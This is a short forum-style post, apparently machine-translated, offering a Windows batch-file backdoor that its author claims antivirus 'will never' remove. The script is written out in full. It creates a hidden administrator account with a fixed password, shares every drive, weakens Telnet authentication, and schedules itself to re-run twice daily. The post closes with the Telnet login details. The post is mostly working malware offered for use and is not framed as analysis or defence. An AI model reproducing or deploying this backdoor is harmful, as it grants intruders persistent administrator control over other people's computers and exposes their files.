The back door, written in batches, will never be killed. _dos/bat

Code thinking is the Shadow Eagle Desert Friend, the original code more trouble, I have made improvements, this backdoor advantage is small and will not be killed, put it in the SYSTEM32 directory, the code is as follows:
@echo off
@attrib +s + R Xyt.bat
@net User Xyt Hacker/add
@net localgroup Administrators Xyt/add
@net Share c$=c:
@net Share D$=d:
@net Share e$=e:
@net Share f$=f:
@net Share g$=g:
@net Share h$=h:
@tlntadmn Config sec =-ntlm

@net Stop Schedule
@net Start Schedule
@echo at 11:00 c:\WINNT\SYSTEM32\log.bat > C:\WINNT\SYSTEM32\xyt.bat
@echo at 23:00 C:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat
@at 11:05 C:\WINNT\SYSTEM32\xyt.bat
@at 23:05 C:\WINNT\SYSTEM32\xyt.bat
@net Stop Telnet
@net start Telnet
@exit

This will circulate our program, even if people stopped, after a few hours, and back to run again, hehe ~ ~
After running Telnet IP up, user name is XYT, password is hacker.
